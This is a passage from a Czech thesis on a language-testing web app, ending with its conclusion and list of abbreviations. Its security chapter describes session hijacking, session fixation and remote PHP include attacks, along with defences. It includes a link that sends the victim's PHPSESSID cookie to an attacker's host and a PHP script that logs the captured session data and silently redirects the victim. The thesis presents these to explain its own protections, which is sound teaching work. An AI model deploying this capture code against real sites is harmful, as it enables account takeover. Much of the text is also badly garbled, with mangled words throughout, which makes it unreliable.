nasledného vyuziti uZivatelsky &ené relace ve proggh Utasnika. Ut@nik se snaziie-
brat identitu pihlaSeného uzivatele a pokousi se, aby ji protili#&ti opétovre pouzil.

V praxi se nizeme nejastji setkat napiklad se situaci pods&ni odkazu na webovych
strankach. V okamzikuifnlaSeni uzivatele Gtmik automaticky pouzije jeho ID relaci pro

Svoji potebu.
Utok Ize rozdlit do dvou samotnych kategorii, a to podle forralgg pouZziti:
Utok pomoci web serveru

Do této kategorie spada utok, ktery krade jiz zameéduzivatelské relace mezi ndévstikem
internetové stranky a webovym serverem, v moleay se ndvévnik prihlasi na webovou
stranku. K provedeni tohoto Utoku existuggalik variant, vzdy zalezi vSak na tom jak we-

bové aplikace zachazi s uzivatelskymi ID relacéfiezi negastji pouzivané techniky p#t
* ID relace je obsazena v URL adrese

ID relace je cilet odeslana alii ve forme hypertextového odkazu a @bpiistupuje na

stranky pra¥ pomoci Skodlivé URL adresy, diky niz &imdk ziska ID relaci uZivatele
* ID relace je umignho ve skrytém formut@vem poli

U této metody bude @b podvedena za pomociiplasovaciho formul& vyvinutého Gt
nikem. Ten Mze byt umisin na uténikow webovém serveru ifpadré ukryty prfimo v e-

mailu, jenz je naformatovany pomoci HTML kédu.
Skript umistény u klienta

Drtiva wvétSina webovych prohlizé podporuje provathi skripti na strag klienta. V daném
piipadt miZze agresor vyuzit k itoku dosazené Skodlivé kod$§ ¥fichz @&elem je viozit

kod do hypertextového odkazu a zaslat jejtioliPoté co uzivatel klikne na odkaz, agresor
pomoci javascriptové funkce dokument.cookie snaxska pistup uzivatelské ID relace,
jenz je uloZzena v souboru cookie. Rréato relace se bude pouzivat mezi klientem a webo-

vou aplikaci.
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10.5.1 Ukazka session fixation utoku

Pro UsgsSnou realizaci musi (taik donutit nav@vnika webu ke kliknuti na faleSny odkaz.
Po kliknuti na odkaz ziskava étdk uzivatelskou relaci, pomoci které&ibe Usgsns zrea-

lizovat své pihlaSeni do aplikace.

Pfi demonstraci tohoto Utoku vychazimeiegpokladu, Ze webova aplikace neni jakkoliv
oSetena proti Utoku. Dochazi tedy k situaci, Zeli@zdém pihlaSeni uzivatel pouziva svoji
totoznou uzivatelskou relaci. Utoikovi tedy stai, aby do aplikace dostal §wdkaz, vy-

znaeno na obrazku (Obr. 18) a nasleddvstvnik na tento odkaz kliknul.

Prihlaseni do aplikace
Nick

Heslo
Zapomenuté heslo Klikni

Prihlasit se

Obr. 18. Ukazka utoku progidnictvim CSRF

Utoenikav odkaz smifuje na webovou adresu http://studenti.hetsmek agigphp?1D=<?=
$ _COOKIE['PHPSESSID"?>. Ze zapisu lze poznat,Z&onci odkazu je uvedena uZiva-
telska relace. V okamziku kliknuti na odkaz nastar@ut@nika klicovy moment, protoze
dochazi k penosu informaci, které pebuje. Struktura Gtmika skriptu je na pouhych pér
radki, ale i €chto parradki stati k tomu, aby doslo k vyzrazeni uzivatelské rel&eyuzi-
tim metody GET se ziskavaji informace odeslaies pdresniadek prohlizée. Data jsou
poté pomoci funkce serialize uloZena do asocidtivipiole a to je nasledmloZzeno do tex-
tového souboru s ndzvem udaje.txt. Aby pro réwska nebylo ndpadné, Ze bykgnero-
van na cizi stranku, na z&skriptu je uvedena funkce header pomoci niZmp uZivatel
zpstné presnerovan na oficialni stranku, jejiz stasti je parazitujici utmikav odkaz.

Bézny uzivatel si ani nevSimne, Ze byl odkazeamsperovan na cizi stranku.
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<?php

$data = $_GET;

$s = serialize($data);

file put_contents('udaje.txt', $s);
header('location:http://utb-dp.php5.cz/UzivatelPrihlaseni.php');
?>

Obr. 19. Skript pro odchyceni uzivatelské relace

10.5.2 Ochrana aplikace proti session fixation

Aplikace je ged timto druhem utoku ochr&ma pomoci funkce session_regenerate_id. Tato
funkce je volanaip kazdém pihlaSeni uzivatele do aplikace a ma za nasledekuamelace

ID. Neni tedy mozné, aby utoik zneuZil fivodni ID relace ve s\ prosgech.

10.6 PHP include

Jedna se o chybu, ktera gp@ v nedostatsmém oSdeni soubal, jenZ jsou do webove
aplikace vkladany prosgdnictvim funkce include, requird,include_once. Zneuzitéthto
funkci miZze zpisobit nedozirné poSkozeni webové stranky.

Pfi tomto Utoku se vyuziva chyba v PHP usmngiti programatorovi webovych stranek
praci. Hlavni zjednodusSeni siga v tom, Ze programator si vyttigeden samostatny PHP
soubor do #hoz pak pomoci ffkazu include vlozi dalSi stranku, aby nemusel adka
stranky psat zvl@&zahlavi a patku.

10.6.1 Ukazka utoku PHP include

Pokud by aplikace nebyla ochegua proti vzdalenému volani soubiptak by ut@énik mohl
za pomoci svého vyt¥eného souboru velmi jednoduse ziskat PHP zdrojddydplikace,
piipadre i pristupy do databaze MySQL. V praxi sedasigji jedna o Upravu URL adresy,

do které utonik wleni swij viastni skript.

»Vzhledem k tomu, Ze je kdd vkladan na straarveru a teprve po té jegdan uzivateli,

bude skript vykonan v kontextu webu, ktery tutangm inkludoval do svého obsahii15]

Z priloZzeného obrazku (Obr. 20) Ize vypozorovat, Zeiito ziskava fehled o vSech sou-
borech, které jsou prasidnictvim PHP funkce include&danény do webové aplikace. K ob-
sahu jednotlivych vlioZzenych souliantze gFistupovat podobnou metodou, jenz pouzil pro

zobrazeni zdrojového kodu PHP souboru.



UTB ve Zliné, Fakulta aplikované informatiky 61

Aplikace pro zkoudeni a vyhodnoceni efektivity vyuky cizich jazyko

B Tridy <

B Studenti
<?php

@ Slovitka < session_start();

. include './nastaveni/Aplikace.php’;

& Testy < - 2 p o - .

L include './nastaveni/DatabazePristupy.php’;

include './nastaveni/SpolecneFunkce.php’;

& Historie ZkouZeni require './nastaveni/KontrolaPristupu.php';

Obr. 20. Utok vedeny progdnictvim PHP include

10.6.2 Ochrana aplikace proti PHP include

OSeteni aplikace proti zmé&mému utoku spiiva v korektnim nastaveni PHP funkce
allow_url_open a allow_url_include, diky nimZ jekaaano vzdalené vkladani souborti. P
includovani soubdrje rovreZ pouzita druha vrstva ochrany a to funkce filesesxpomoci

niz je provadna kontrola existence vkladanych soubweramci daného webhostingu.

10.7 Hesla uzivateti

PrihlaSovaci hesla uzivatebudou v databazi uloZena jako jedneésmy hash, jenz bude
doplrén o tzv. sl. Princip osoleni hesla spioa v gidani nahodného dalSiho textovéiee
tézce k mivodnimu heslu. Sifhlédnutim k tomu, Zet$ bude pokazdé jina, vysledny hash
bude rozdilny i pro uzivatele se stejnymi hesly.

10.8 Nahravani soubon

DalSim velkym bezpgostnim rizikem existujicim na Urovni webové apti&ge nahravani
soubofi. Pokud neni oS&tno nahravani souhigrtak mize nastat situace, ze uzivatel na web
nahraje soubor se Skodlivym virovym kédem, pomdatiod bude uténik ziskavat infor-
mace vztahujici se k dané aplikadiipadre mize ziskat i fistup k jinym uZivatelskym

actam.
10.8.1 Ochrana proti nezadoucimu nahravani soubai

V aplikaci jsou pi nahravani souboru nastavena nize uvedena restiiktravidla, diky

nimz je eliminovana moznost, Ze bude nahrat neZidmubor.

e muze byt nahran pouze soubor typu CSV
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e soubor nize mit maximalni velikost pouze 2 MB

e soubor niZze nahrat pouze zaregistrovany uZivatel
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ZAVER

Tvorba aplikaci pro zkouSeni a vyhodnoceni efeftiviyuky cizich jazyk byla pro ng
velmi piinosna pedevSim s ohledem na skirtest, Ze se ve volnédase ¥nuji programo-
vani webovych stranek a webovych aplikaci. Na zigkfaogramovani této aplikace jsem
mél moznost roz§it své dosavadni znalosti v oblasti tvorby webovgplikaci.

Dulezitym prvkem aplikace je jeji bezfrst, a to jak z pohledu uzivatelského (ukladani
hesel, opravwni pristupu), tak i z pohledu pouhého né&vsiika, jehoz umyslem by bylo
narusSit funkni chod aplikace. Pro zabezpeai aplikace jsem aplikoval znalosti ziskagé b
hem studia na Fakuliaplikované informatiky Univerzity Tomase Bati véing. Tyto po-
znatky jsou pedevsim z oblasti kybernetické bezpesti, do které mimo jiné pati Sifro-
Vani.

DulezZité je zminit, Ze v rdmci prace se &&g poddilo naprogramovat moderni webovou
aplikaci, jejiz zaklad je tven frameworkem Twitter Boostrap, pomoéhaz bylo navrzeno
uzivatelsky pivétivé moderni grafické rozhrani. Interaktivita&kterych formul&ovych
prvki je obohacena o Ajaxové pozadavky, které usaggraci s webovou aplikaci. Kon-

krétré se jedna o ridtani grekladu cizich sloviek a pfibézné vyhodnocovani testu.

Veérim, Ze aplikace bude velkyntiposem prdadu uzivatel, a’ uz studeni ¢i vyucujicich,
ktefi se ¥nuji studiu cizich jazyk Na zaklad velmi jednoduchého ovladanitte aplikaci
pouzivat kazdy bez ohledu nékevé omezeni a tak rozévat své dosavadni jazykoveé zna-
losti. S gihlédnutim k tomu, Ze aplikace nabizi vyuku celkit cizich jazyki, je tak ur-

¢ena pro Siroké spektrum uzivatel
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SEZNAM POUZITYCH SYMBOL U A ZKRATEK

AJAX
API

CGl

CSRF
CSS
csv
DCL
DDL
DML
DOM
GIF
HTML
HTTP
JPG
JSON
ODBC
oS
PDF
PHP
PNG
SHA
SQL

SVG

Asynchronni Javascript a XML
Rozhrani pro programovani aplikaci.
Protokol pro komunikaci mezi webovym server@programem generujicim
dynamicky obsah
Podvrzeni pozadavku mezmymi internetovymi strankami
Kaskadové styly
Souborovy format geny pro vynénu tabulkovych dat
Prikazy protizeni dat
Ptikazy pro definici dat
Piikazy pro manipulaci s daty
Objektovy model dokumentu
Graficky format uteny pro rastrovou grafiku
Znackovaci jazyk
Internetovy protokol pro vygnu hypertextovych dokumanve formatu HTML
Metoda ztratové komprese pouzivané pro ukiguméiacovych obrazk
Z4apis dat (datovy forméat) nezavisly naifasové platfornd
Standardizované softwarové API pitsfup k databazovym systém
Operani systém
Renosny forméat dokumeint
Hypertextovy preprocesor
Graficky format uweny pro bezeztratovou kompresi rastrové grafiky.
Rozsfena haSovaci funkce
Standardizovany dotazovaci jazyk

Skéalovatelné vektorovéa grafika
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URL Jednotna adresa zdroje
XHTML Rozstitelny hypertextovy zngovaci jazyk
XML RozSititelny znakovaci jazyk

XUL Format pro tvorbu multiplatformniho grafickéhazhrani
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